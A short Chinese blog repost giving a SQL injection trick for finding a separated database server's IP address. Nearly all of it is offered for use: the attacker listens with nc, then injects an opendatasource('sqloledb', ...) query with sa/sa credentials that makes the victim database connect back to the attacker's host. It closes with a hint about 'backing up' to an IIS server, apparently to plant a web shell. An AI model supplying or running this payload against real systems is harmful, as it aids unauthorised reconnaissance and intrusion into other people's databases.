获得数据库服务器的IP地址
鬼仔注:以前的 这篇文章 末尾有另外一个数据库服务器与web服务器分离时,获得数据库服务器IP地址的方法(猪三的方法)
信息来源:BIN-Blog
SQLinjection 的时候会遇到web与database分离的情况,这个时候如何获得数据库所在服务器的IP地址是至关重要的。
一个简单的方法,前提数据库可以连接Internet,nc本地监听一个端口,利用注入点执行:
SELECT * FROM opendatasource('sqloledb','data source=localip,port;user id=sa;password=sa').data.dbo.data
查看NC的连接情况就OK了!
如果数据库开了IIS那就备份吧!GoodLuck!